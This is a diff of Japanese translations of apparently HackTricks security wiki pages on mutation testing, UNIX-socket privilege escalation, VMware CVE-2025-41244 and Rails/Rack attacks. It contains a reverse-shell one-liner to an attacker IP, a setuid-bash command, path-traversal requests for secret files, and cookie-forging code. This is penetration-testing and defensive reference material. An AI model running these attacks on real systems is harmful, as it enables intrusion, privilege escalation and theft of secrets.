- Prioritize mutators: 行上の高優先度の mutant が生き残った場合(例: 行全体がコメント化されるなど)、その行に対する低優先度のバリアントはスキップできる。
|
||||
- Parallelize tests if your runner allows it; cache dependencies/builds.
|
||||
- Fail-fast: 変更が明確にアサーションの欠落を示している場合は早期に停止する。
|
||||
ミューテーションキャンペーンは数時間〜数日かかることがあります。コストを削減するためのヒント:
|
||||
- スコープ: まず重要な contracts/directories に限定し、そこから拡大する。
|
||||
- ミューテータの優先順位付け: ある行で高優先度のミューテントが生き残った場合(例: 行全体がコメント化される)、その行の低優先度バリアントはスキップできる。
|
||||
- テストの並列化: runner が許せばテストを並列化し、依存関係/ビルドをキャッシュする。
|
||||
- Fail-fast: 変更が明らかにアサーションの抜けを示すときは早期に停止する。
|
||||
|
||||
## Triage workflow for surviving mutants
|
||||
## 生き残ったミューテントのトリアージワークフロー
|
||||
|
||||
1) 変異した行と振る舞いを検査する。
|
||||
- 変異行を適用してフォーカスしたテストを実行し、ローカルで再現する。
|
||||
- 変異行を適用してローカルで再現し、フォーカスしたテストを実行する。
|
||||
|
||||
2) テストを強化して、返り値だけでなく state をアサートする。
|
||||
- 等価性や境界チェックを追加する(例: 閾値の `==` をテスト)。
|
||||
- ポストコンディションをアサートする: balances、total supply、authorization の効果、そして emitted events。
|
||||
2) テストを強化して、戻り値だけでなく状態をアサートする。
|
||||
- 等価性や境界チェックを追加する(例: テストで threshold `==` を確認)。
|
||||
- 事後条件をアサートする: 残高、総供給量(total supply)、認可の影響、発行されたイベントなど。
|
||||
|
||||
3) 過度に許容的な mocks を現実的な振る舞いに置き換える。
|
||||
- mocks が transfers、failure paths、そして on-chain で発生する event emissions を強制することを確認する。
|
||||
3) 過度に許容的なモックを現実的な振る舞いに置き換える。
|
||||
- モックがオンチェーンで発生する転送、失敗経路、イベント発火を適切に再現するようにする。
|
||||
|
||||
4) fuzz tests のために invariants を追加する。
|
||||
- 例: value の保存則、non-negative balances、authorization invariants、該当する場合の monotonic supply。
|
||||
4) fuzz テスト向けに不変条件(invariants)を追加する。
|
||||
- 例: 価値保存、負でない残高、認可に関する不変条件、該当する場合の単調増加する供給量。
|
||||
|
||||
5) survivors が消えるか明示的に正当化されるまで slither-mutate を再実行する。
|
||||
5) 生き残りが潰されるか明確に正当化されるまで slither-mutate を再実行する。
|
||||
|
||||
## Case study: revealing missing state assertions (Arkis protocol)
|
||||
## ケーススタディ: 状態アサーションの欠如を明らかにする事例 (Arkis protocol)
|
||||
|
||||
Arkis DeFi protocol の監査中の mutation campaign で、次のような survivors が表面化しました:
|
||||
Arkis DeFi プロトコルの監査中のミューテーションキャンペーンにより、以下のような生き残りが明らかになった:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
代入をコメントアウトしてもテストが壊れなかったため、事後状態のアサーションが欠如していることが証明された。根本原因:実際のトークン転送を検証するのではなく、ユーザー制御の `_cmd.value` を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を流出させ得る。結果:プロトコルの支払能力に対する高リスク。
|
||||
代入をコメントアウトしてもテストは壊れず、事後状態に対するアサーションが欠如していることが証明された。根本原因:コードが実際のトークン転送を検証する代わりに、ユーザー制御の `_cmd.value` を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を奪取できる。結果:プロトコルの支払い能力に対する高重大度のリスク。
|
||||
|
||||
Guidance: 価値転送、会計、またはアクセス制御に影響する残存変異は、除去されるまで高リスクとして扱うこと。
|
||||
ガイダンス:値の移転、会計、またはアクセス制御に影響を与える生存したミュータントは、検出(killed)されるまで高リスクとして扱うこと。
|
||||
|
||||
## 実践チェックリスト
|
||||
## Practical checklist
|
||||
|
||||
- 対象を絞ったキャンペーンを実行:
|
||||
- Run a targeted campaign:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- 残存変異をトリアージし、変異した振る舞いで失敗するようなテスト/不変条件を作成する。
|
||||
- 生存したミュータントをトリアージし、変異した挙動下で失敗するようなテスト/不変条件を書き込む。
|
||||
- 残高、供給量、認可、イベントをアサートする。
|
||||
- 境界テストを追加する(`==`、オーバーフロー/アンダーフロー、ゼロアドレス、ゼロ量、空配列)。
|
||||
- 現実的でないモックは置き換え、故障モードをシミュレートする。
|
||||
- すべての変異が検出(kill)されるか、コメントと根拠で正当化されるまで繰り返す。
|
||||
- 非現実的なモックを置き換え、障害モードをシミュレートする。
|
||||
- すべてのミュータントが検出(killed)されるか、コメントと合理的な説明で正当化されるまで反復する。
|
||||
|
||||
## References
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,7 +4,7 @@
|
||||
|
||||
## Socket binding example with Python
|
||||
|
||||
以下の例では、**unix socket is created**(`/tmp/socket_test.s`)され、すべて**received**されたものが `os.system` によって**executed**されます。現実世界でこのようなコードを見つけることはまずないでしょうが、この例の目的は、unix sockets を使ったコードがどのように見えるか、そして最悪のケースで入力をどのように扱うかを確認することです。
|
||||
次の例では、**unix socket が作成されます**(`/tmp/socket_test.s`)そして**受信した**すべてが `os.system` によって**実行されます**。現実の環境でこれを見つけることはないとわかっていますが、この例の目的は unix sockets を使うコードがどのように見えるか、そして最悪のケースで入力をどのように扱うかを確認することです。
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -26,7 +26,7 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**実行する** その code を python で: `python s.py` と **ソケットがどのようにリッスンしているか確認する**:
|
||||
**実行** そのコードを python で実行する: `python s.py` と **socket がどのように待ち受けているかを確認する**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
@ -37,15 +37,15 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
## ケーススタディ: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
## 事例研究: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
一部の特権デーモンは、root-owned UNIX socket を公開しており、信頼できない入力を受け付け、特権アクションを thread-IDs と signals に結び付けます。プロトコルが非特権クライアントにどの native thread を対象にするか影響させる余地を与える場合、特権コードパスをトリガーして権限昇格できる可能性があります。
|
||||
一部の privileged daemons は、untrusted input を受け付け、privileged actions を thread-IDs と signals に結びつける root-owned UNIX socket を公開しています。protocol が unprivileged client によってどの native thread がターゲットになるかを左右できる場合、privileged code path を trigger して escalate できる可能性があります。
|
||||
|
||||
観察されたパターン:
|
||||
- root-owned socket に接続する(例: /tmp/remotelogger)。
|
||||
- スレッドを作成し、その native thread id (TID) を取得する。
|
||||
- TID(packed)と padding をリクエストとして送信し、確認応答を受け取る。
|
||||
- その TID に特定の signal を送って特権動作をトリガーする。
|
||||
- root-owned socket(例: /tmp/remotelogger)に接続する。
|
||||
- thread を作成し、その native thread id (TID) を取得する。
|
||||
- TID(packed)と padding をリクエストとして送信し、acknowledgement を受け取る。
|
||||
- その TID に特定の signal を送って privileged behaviour を trigger する。
|
||||
|
||||
最小限の PoC スケッチ:
|
||||
```python
|
||||
@ -64,9 +64,9 @@ os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
注意:
|
||||
- この種のバグは、特権のないクライアント状態(TIDs)から導出された値を信用し、それらを特権付きのシグナルハンドラやロジックに結びつけることから発生します。
|
||||
- socket 上で資格情報を強制し、message formats を検証し、特権操作を外部から供給された thread identifiers から切り離すことでハードニングしてください。
|
||||
ノート:
|
||||
- このクラスのバグは、非特権クライアント状態(TIDs)から派生した値を信用し、それらを特権のシグナルハンドラやロジックに結びつけることから生じます。
|
||||
- socket 上で認証情報を強制し、メッセージ形式を検証し、特権操作を外部から提供されたスレッド識別子から切り離すことで強化します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する、regex駆動の service discovery パイプラインを悪用します。許容度の高いパターンが信頼できない攻撃者制御のパス(例: /tmp/httpd)を受け入れると、特権を持つコレクタが信頼できない場所から任意のバイナリを実行し、Local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery の CVE-2025-41244 として文書化しました。
|
||||
この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する regex 駆動の service discovery パイプラインを悪用します。許容的なパターンが攻撃者制御の信頼されていないパス(例: /tmp/httpd)を受け入れると、特権を持つコレクタが信頼されていない場所から任意のバイナリを実行し、local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery における CVE-2025-41244 として文書化しました。
|
||||
|
||||
- 影響: Local privilege escalation による root(または特権付き discovery アカウント)への昇格
|
||||
- 根本原因: Untrusted Search Path (CWE-426) + process command lines に対する permissive regex マッチング
|
||||
- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery)、VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
- 影響: Local privilege escalation to root (or to the privileged discovery account)
|
||||
- 根本原因: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
|
||||
## VMware service discovery の仕組み(高レベル)
|
||||
## How VMware service discovery works (high level)
|
||||
|
||||
- Credential-based (legacy): Aria は設定された特権資格情報を使用して VMware Tools 経由でゲスト内部で discovery スクリプトを実行します。
|
||||
- Credential-less (modern): Discovery ロジックはゲスト内で既に特権を持つ VMware Tools 内で動作します。
|
||||
- Credential-based (legacy): Aria が設定された特権資格情報を使い、VMware Tools 経由でゲスト内で discovery スクリプトを実行します。
|
||||
- Credential-less (modern): Discovery ロジックが既にゲスト内で特権を持つ VMware Tools 内で実行されます。
|
||||
|
||||
どちらのモードも最終的にはシェルロジックを実行し、listening sockets を持つプロセスをスキャンし、regex によって一致するコマンドパスを抽出し、最初の argv トークンを version フラグ付きで実行します。
|
||||
両モードとも最終的には、リッスンしているソケットを持つプロセスをスキャンし、正規表現で一致するコマンドパスを抽出して、最初の argv トークンを version フラグ付きで実行するシェルロジックを実行します。
|
||||
|
||||
## Root cause and vulnerable pattern (open-vm-tools)
|
||||
|
||||
open-vm-tools では、serviceDiscovery プラグインスクリプト get-versions.sh が広範な正規表現を用いて候補バイナリをマッチさせ、trusted-path 検証なしに最初のトークンを実行します:
|
||||
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
done
|
||||
}
|
||||
```
|
||||
これは、\S (non-whitespace) を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所の非システムパスにも容易に一致します:
|
||||
それは \S(空白以外)を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所にある非システムパスにも容易にマッチします:
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
- 抽出は grep -Eo を使用し、最初のトークンを取得します: ${COMMAND%%[[:space:]]*}
|
||||
- 信頼済みシステムパスの whitelist/allowlist がなく、マッチする名前を持つ発見された listener は -v/--version で実行されます
|
||||
- 信頼されたシステムパスの whitelist/allowlist がなく、名前が一致した検出されたリスナーは -v/--version で実行されます
|
||||
|
||||
これにより untrusted search path execution primitive が作成されます: world-writable ディレクトリ(例: /tmp/httpd)にある任意のバイナリが特権コンポーネントによって実行されます。
|
||||
これにより untrusted search path execution primitive が生成されます: world-writable なディレクトリ(例: /tmp/httpd)に置かれた任意のバイナリが特権コンポーネントによって実行されます。
|
||||
|
||||
## Exploitation (both credential-less and credential-based modes)
|
||||
## Exploitation (クレデンシャル不要およびクレデンシャル有りモードの両方)
|
||||
|
||||
前提条件
|
||||
- ゲスト上でリスニングソケットを開く unprivileged プロセスを実行できる。
|
||||
- discovery job が有効で、定期的に実行される(歴史的には約5分間隔)。
|
||||
Preconditions
|
||||
- ゲスト上でリスニングソケットを開く非特権プロセスを実行できること。
|
||||
- discovery job が有効で定期的に実行されること(歴史的には約5分)。
|
||||
|
||||
手順
|
||||
1) 許容的な正規表現にマッチするパス(例: /tmp/httpd や ./nginx)にバイナリを配置する
|
||||
2) 低権限ユーザとして実行し、いずれかのリスニングソケットを開くことを確認する
|
||||
3) discovery サイクルを待つ; privileged collector が自動的に次のように実行する: /tmp/httpd -v(または同様)、あなたのプログラムが root として実行される
|
||||
Steps
|
||||
1) permissive regexes のいずれかにマッチするパス(例: /tmp/httpd または ./nginx)に binary をステージする
|
||||
2) 低権限ユーザとして実行し、listening socket を開いていることを確認する
|
||||
3) discovery cycle を待つ; 特権 collector は自動的に /tmp/httpd -v(または同様のコマンド)を実行し、あなたのプログラムを root として実行する
|
||||
|
||||
最小デモ(NVISO のアプローチを使用)
|
||||
Minimal demo (using NVISO’s approach)
|
||||
```bash
|
||||
# Build any small helper that:
|
||||
# - default mode: opens a dummy TCP listener
|
||||
@ -66,60 +66,60 @@ chmod +x /tmp/httpd
|
||||
# After the next cycle, expect a root shell or your privileged action
|
||||
```
|
||||
典型的なプロセスの系譜
|
||||
- 資格情報あり: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- 資格情報なし: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
アーティファクト(資格情報あり)
|
||||
回収された SDMP ラッパースクリプトが /tmp/VMware-SDMP-Scripts-{UUID}/ 配下にあり、不正なパスが直接実行されていることを示す場合があります:
|
||||
アーティファクト (credential-based)
|
||||
Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装している:
|
||||
- リッスンソケットを持つプロセスを列挙する
|
||||
- argv/command lines を寛容な regexes で grep する(例: パターンに \S を含む)
|
||||
- マッチしたパスを -v, --version, -V, -h のような無害なフラグで実行する
|
||||
多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装しています:
|
||||
- リッスンしているソケットを持つプロセスを列挙する
|
||||
- argv/command line を許容的な regex で grep する(例: \S を含むパターン)
|
||||
- マッチしたパスを -v、--version、-V、-h のような無害なフラグで実行する
|
||||
|
||||
もし regex が信頼できないパスを受け入れ、かつそのパスが特権コンテキストから実行されると、CWE-426 Untrusted Search Path 実行につながる。
|
||||
もし regex が信頼されないパスを受け入れ、そのパスが特権コンテキストから実行されれば、CWE-426 Untrusted Search Path execution が発生します。
|
||||
|
||||
Abuse recipe
|
||||
- バイナリ名を、regex がマッチしやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver
|
||||
悪用手順
|
||||
- バイナリ名を、regex が一致しやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver
|
||||
- 書き込み可能なディレクトリに配置する: /tmp/httpd, ./nginx
|
||||
- regex にマッチし、列挙される任意のポートを開くようにする
|
||||
- スケジュールされたコレクタを待つと、<path> -v の自動的な特権呼び出しが得られる
|
||||
- regex に一致し、列挙されるために任意のポートを開くことを確認する
|
||||
- スケジュールされたコレクタを待つと、自動的に特権で <path> -v が呼び出される
|
||||
|
||||
Masquerading note: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、マッチ確率とステルス性を高める。
|
||||
マスカレーディング注記: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、一致確率とステルス性を高めます。
|
||||
|
||||
Reusable privileged I/O relay trick
|
||||
- ヘルパーを構築して、特権呼び出し時(-v/--version)に既知のランデブー(例: Linux の abstract UNIX socket の @cve)へ接続し、stdio を /bin/sh -i にブリッジするようにする。これによりディスク上のアーティファクトを避けられ、同じバイナリがフラグ付きで再呼び出しされる多くの環境で動作する。
|
||||
再利用可能な特権 I/O 中継トリック
|
||||
- ヘルパーを次のように作る: 特権で呼び出されたとき(-v/--version)既知のランデブーポイント(例: Linux 抽象 UNIX ソケット @cve)に接続し、stdio を /bin/sh -i にブリッジする。これによりディスク上の痕跡を避けられ、同じバイナリがフラグ付きで再実行される多くの環境で動作する。
|
||||
|
||||
## Detection and DFIR guidance
|
||||
|
||||
Hunting queries
|
||||
- vmtoolsd や get-versions.sh の異常な子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld)
|
||||
- discovery スクリプトによる非システム絶対パスの実行(${COMMAND%%...} 展開でスペースを探す)
|
||||
- ps -ef --forest で系譜ツリーを可視化: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
ハンティングクエリ
|
||||
- vmtoolsd や get-versions.sh の珍しい子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld)
|
||||
- discovery scripts による非システムの絶対パス実行(${COMMAND%%...} の展開内のスペースを確認)
|
||||
- ps -ef --forest で親子関係ツリーを可視化する: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
On Aria SDMP (credential-based)
|
||||
- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査し、攻撃者パスの実行を示す一時スクリプトや stdout/stderr のアーティファクトを確認する
|
||||
- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査して、一時的なスクリプトや攻撃者パスの実行を示す stdout/stderr の痕跡を確認する
|
||||
|
||||
Policy/telemetry
|
||||
- 特権コレクタが非システム接頭辞から実行された場合にアラート: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- 特権コレクタが非システムプレフィックスから実行されたらアラートする: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- get-versions.sh と VMware Tools プラグインのファイル整合性監視
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Patch: CVE-2025-41244(Tools および Aria Operations SDMP)に対する Broadcom/VMware のアップデートを適用する
|
||||
- credential-less な discovery を無効化または制限する(可能な場合)
|
||||
- 信頼できるパスを検証する: 実行を許可リスト化されたディレクトリに制限する(/usr/sbin, /usr/bin, /sbin, /bin)と既知の正確なバイナリのみを許可する
|
||||
- \S を含む寛容な regexes を避ける; アンカー付きで明示的な絶対パスや正確なコマンド名を優先する
|
||||
- discovery ヘルパーの特権を落とす(可能であれば); 影響を減らすために sandbox (seccomp/AppArmor) を適用する
|
||||
- vmtoolsd/get-versions.sh が非システムパスを実行する場合は監視・アラートを出す
|
||||
- パッチ: Broadcom/VMware の CVE-2025-41244(Tools および Aria Operations SDMP)向けアップデートを適用する
|
||||
- 可能な場合は資格情報不要のディスカバリを無効化または制限する
|
||||
- 信頼されたパスを検証する: 実行を許可リストのディレクトリ (/usr/sbin, /usr/bin, /sbin, /bin) に制限し、既知のバイナリのみ許可する
|
||||
- \S を含む許容的な regex を避ける。アンカー付きで明示的な絶対パスや正確なコマンド名を使うことを推奨
|
||||
- 可能な場合は discovery helper の権限を落とす; 影響を減らすために sandbox(seccomp/AppArmor)を使用する
|
||||
- vmtoolsd/get-versions.sh が非システムのパスを実行しているか監視しアラートする
|
||||
|
||||
## Notes for defenders and implementers
|
||||
|
||||
Safer matching and execution pattern
|
||||
より安全なマッチングと実行パターン
|
||||
```bash
|
||||
# Bad: permissive regex and blind exec
|
||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||
@ -135,12 +135,12 @@ case "$candidate" in
|
||||
;;
|
||||
esac
|
||||
```
|
||||
## 参考文献
|
||||
## 参考資料
|
||||
|
||||
- [NVISO – あなたが名付けたものは何でも、VMwareが昇格させる (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [CVE-2025-41244 に関する Broadcom のアドバイザリ](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – 正当な名前または場所に一致させる](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: 信頼できない検索パス](https://cwe.mitre.org/data/definitions/426.html)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,50 +2,50 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ファイルアップロードによるRCE
|
||||
## ファイルアップロードによる RCE
|
||||
|
||||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||
この[記事](https://www.offsec.com/blog/cve-2024-46986/)で説明されているように、`config/initializers/` のような機密ディレクトリに `.rb` ファイルをアップロードすると、Ruby on Rails アプリケーションでリモートコード実行 (RCE) に繋がる可能性があります。
|
||||
|
||||
ヒント:
|
||||
- アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能であれば同様に危険です(例: `config/initializers/` が典型)。もし任意のファイルアップロードが `config/` 以下のどこかに置かれ、後で評価/require される場合、起動時に RCE を得る可能性があります。
|
||||
- Rails が起動時にロードするコンテナイメージ内にユーザー制御のファイルをコピーするような dev/staging ビルドを探してください。
|
||||
- アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能だと危険です(例: `config/initializers/` が典型例)。任意のファイルアップロードが `config/` 配下のどこかに配置され、後で評価/require されるようなら、起動時に RCE を得られる可能性があります。
|
||||
- Rails が起動時に読み込むような場所にユーザ制御のファイルをコンテナイメージへコピーする dev/staging ビルドを探してください。
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
アプリが Active Storage と `image_processing` + `mini_magick` を使用し、image transformation メソッドに信頼できないパラメータを渡す場合、Rails の 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたため、command injection を許す可能性がありました。
|
||||
Active Storage を `image_processing` + `mini_magick` と共に使用し、信頼できないパラメータを画像変換メソッドに渡す場合、Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたためコマンドインジェクションを許す可能性がありました。
|
||||
|
||||
- A vulnerable pattern looks like:
|
||||
- 脆弱なパターンの例:
|
||||
```erb
|
||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||
```
|
||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||
ここで `params[:t]` および/または `params[:v]` は攻撃者に制御されます。
|
||||
|
||||
- テスト時に試すこと
|
||||
- variant/processing オプション、変換名、または任意の ImageMagick 引数を受け取るエンドポイントを特定する。
|
||||
- `params[:t]` と `params[:v]` をファズして、疑わしいエラーや実行の副作用を探す。メソッド名に影響を与えられる、または MiniMagick に到達する生引数を渡せる場合、image processor ホスト上で code exec を得られる可能性があります。
|
||||
- 生成された variants に対して読み取りアクセスしかない場合、細工した ImageMagick 操作を使ってブラインドな exfiltration を試みる。
|
||||
- `params[:t]` と `params[:v]` をファズして、疑わしいエラーや実行の副作用を観察する。メソッド名に影響を与えられる、または MiniMagick に到達する生の引数を渡せる場合、画像処理ホスト上でコード実行を得られる可能性があります。
|
||||
- 生成された variants に対して読み取り専用しか持たない場合は、巧妙に作成した ImageMagick 操作を使ってブラインドでの情報持ち出しを試みる。
|
||||
|
||||
- 修正/検知
|
||||
- Active Storage + `image_processing` + `mini_magick` を使用し、ユーザー制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら、悪用可能と考えてください。アップグレードを推奨し、メソッド/パラメータの厳格な許可リスト適用と ImageMagick ポリシーの強化を行うよう勧めます。
|
||||
- 修正/検出
|
||||
- Active Storage + `image_processing` + `mini_magick` を使用しており、かつユーザ制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら、悪用可能と考えてください。アップグレードを推奨し、メソッド/パラメータの厳格な許可リストと強化された ImageMagick ポリシーを適用してください。
|
||||
|
||||
## Rack::Static の LFI / path traversal (CVE-2025-27610)
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
ターゲットスタックが Rack ミドルウェアを直接またはフレームワーク経由で使用している場合、`rack` の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、`:root` が未設定/誤設定だと `Rack::Static` 経由で Local File Inclusion を許す可能性があります。`PATH_INFO` にエンコードされたトラバーサルがあると、プロセスの作業ディレクトリや予期しない root 以下のファイルが露出することがあります。
|
||||
ターゲットスタックが直接またはフレームワーク経由で Rack ミドルウェアを使用している場合、`rack` の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、`:root` が未設定/誤設定のときに `Rack::Static` 経由で Local File Inclusion が可能です。`PATH_INFO` にエンコードされたトラバーサルを含めることで、プロセスの作業ディレクトリや予期しないルート配下のファイルが露出することがあります。
|
||||
|
||||
- `config.ru` やミドルウェアスタックに `Rack::Static` をマウントしているアプリを探す。例えば静的パスに対してエンコードされたトラバーサルを試す:
|
||||
- `config.ru` やミドルウェアスタックで `Rack::Static` をマウントしているアプリを探してください。静的パスに対してエンコードされたトラバーサルを試します。例えば:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
`urls:` に合わせて prefix を調整する。アプリがファイル内容で応答する場合、解決された `:root` 以下の任意のファイルへの LFI を得ている可能性が高い。
|
||||
設定された `urls:` に合わせてプレフィックスを調整してください。アプリがファイル内容で応答する場合、解決された `:root` 配下の任意のものに対する LFI を得ている可能性が高いです。
|
||||
|
||||
- 緩和策: Rack をアップグレードする。`:root` が公開ファイルのディレクトリのみを指し、明示的に設定されていることを確認する。
|
||||
- 緩和策: Rack をアップグレードし、` :root` がパブリックファイルのディレクトリのみを指し、明示的に設定されていることを確認してください。
|
||||
|
||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||
|
||||
Rails は `secret_key_base` から派生したキーを使ってクッキーを暗号化し署名します。If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. これは、アプリが cookies に roles、user IDs、または feature flags を格納している場合、しばしば authz bypass に繋がります。
|
||||
Rails は `secret_key_base` から派生した鍵を使用してクッキーを暗号化および署名します。もしその値が leaks(例: リポジトリ、ログ、または誤設定された資格情報にある場合)、通常クッキーを復号、改変、再暗号化できます。アプリがクッキーに roles、user IDs、あるいは feature flags を保存している場合、これはしばしば authz bypass に繋がります。
|
||||
|
||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
||||
現代のクッキー(AES-256-GCM、最近の Rails のデフォルト)を復号し再暗号化するための最小限の Ruby:
|
||||
```ruby
|
||||
require 'cgi'
|
||||
require 'json'
|
||||
@ -70,9 +70,9 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
|
||||
forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
注意:
|
||||
- 古いアプリでは AES-256-CBC とソルト `encrypted cookie` / `signed encrypted cookie`、または JSON/Marshal シリアライザを使用している場合があります。ソルト、cipher、serializer を適宜調整してください。
|
||||
- 侵害/評価時には、既存のすべてのクッキーを無効化するために `secret_key_base` をローテーションしてください。
|
||||
Notes:
|
||||
- 古いアプリは AES-256-CBC と `encrypted cookie` / `signed encrypted cookie` のようなソルト、または JSON/Marshal シリアライザを使用していることがあります。ソルト、cipher、serializer を適宜調整してください。
|
||||
- 侵害や評価の際は、既存のクッキーを無効化するために `secret_key_base` をローテートしてください。
|
||||
|
